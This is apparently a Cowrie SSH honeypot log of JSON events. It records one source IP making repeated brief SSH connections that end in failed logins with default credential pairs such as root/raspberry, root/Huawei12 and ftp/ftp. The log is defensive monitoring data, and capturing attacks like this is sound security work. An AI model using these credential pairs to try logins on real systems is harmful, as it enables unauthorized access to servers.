{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:03.782697Z","src_ip":"45.153.34.114","session":"fbf54d9eee3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:04.165818Z","src_ip":"45.153.34.114","session":"fbf54d9eee3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:05.259835Z","src_ip":"45.153.34.114","session":"fbf54d9eee3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50118,"dst_ip":"159.203.135.109","dst_port":22,"session":"827268451317","protocol":"ssh","message":"New connection: 45.153.34.114:50118 (159.203.135.109:22) [session: 827268451317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:11.606640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:11.612129Z","src_ip":"45.153.34.114","session":"827268451317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:11.700266Z","src_ip":"45.153.34.114","session":"827268451317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:11.951860Z","src_ip":"45.153.34.114","session":"827268451317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:13.073701Z","src_ip":"45.153.34.114","session":"827268451317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42042,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e07161bedf6","protocol":"ssh","message":"New connection: 45.153.34.114:42042 (159.203.135.109:22) [session: 7e07161bedf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:19.463812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:19.468129Z","src_ip":"45.153.34.114","session":"7e07161bedf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:19.558652Z","src_ip":"45.153.34.114","session":"7e07161bedf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:19.844409Z","src_ip":"45.153.34.114","session":"7e07161bedf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:20.934170Z","src_ip":"45.153.34.114","session":"7e07161bedf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42046,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef8a5925a27f","protocol":"ssh","message":"New connection: 45.153.34.114:42046 (159.203.135.109:22) [session: ef8a5925a27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:27.753106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:27.760363Z","src_ip":"45.153.34.114","session":"ef8a5925a27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:27.836877Z","src_ip":"45.153.34.114","session":"ef8a5925a27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:28.178718Z","src_ip":"45.153.34.114","session":"ef8a5925a27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:29.273330Z","src_ip":"45.153.34.114","session":"ef8a5925a27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34366,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eba4f7bb263","protocol":"ssh","message":"New connection: 45.153.34.114:34366 (159.203.135.109:22) [session: 7eba4f7bb263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:36.151736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:36.156012Z","src_ip":"45.153.34.114","session":"7eba4f7bb263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:36.236187Z","src_ip":"45.153.34.114","session":"7eba4f7bb263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:36.577918Z","src_ip":"45.153.34.114","session":"7eba4f7bb263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:37.671820Z","src_ip":"45.153.34.114","session":"7eba4f7bb263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55964,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b1956e46ba4","protocol":"ssh","message":"New connection: 45.153.34.114:55964 (159.203.135.109:22) [session: 7b1956e46ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:44.711968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:44.721903Z","src_ip":"45.153.34.114","session":"7b1956e46ba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:44.805818Z","src_ip":"45.153.34.114","session":"7b1956e46ba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:45.113710Z","src_ip":"45.153.34.114","session":"7b1956e46ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:46.204564Z","src_ip":"45.153.34.114","session":"7b1956e46ba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45688,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cb82bf96384","protocol":"ssh","message":"New connection: 45.153.34.114:45688 (159.203.135.109:22) [session: 1cb82bf96384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:52.779469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:52.784316Z","src_ip":"45.153.34.114","session":"1cb82bf96384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:52.872444Z","src_ip":"45.153.34.114","session":"1cb82bf96384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:53.137159Z","src_ip":"45.153.34.114","session":"1cb82bf96384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:54.227920Z","src_ip":"45.153.34.114","session":"1cb82bf96384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44078,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc22411d137b","protocol":"ssh","message":"New connection: 45.153.34.114:44078 (159.203.135.109:22) [session: cc22411d137b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:01.176200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:01.185181Z","src_ip":"45.153.34.114","session":"cc22411d137b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:01.268603Z","src_ip":"45.153.34.114","session":"cc22411d137b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:01.715103Z","src_ip":"45.153.34.114","session":"cc22411d137b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:02.807669Z","src_ip":"45.153.34.114","session":"cc22411d137b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60228,"dst_ip":"159.203.135.109","dst_port":22,"session":"020f53135263","protocol":"ssh","message":"New connection: 45.153.34.114:60228 (159.203.135.109:22) [session: 020f53135263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:09.601708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:09.606109Z","src_ip":"45.153.34.114","session":"020f53135263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 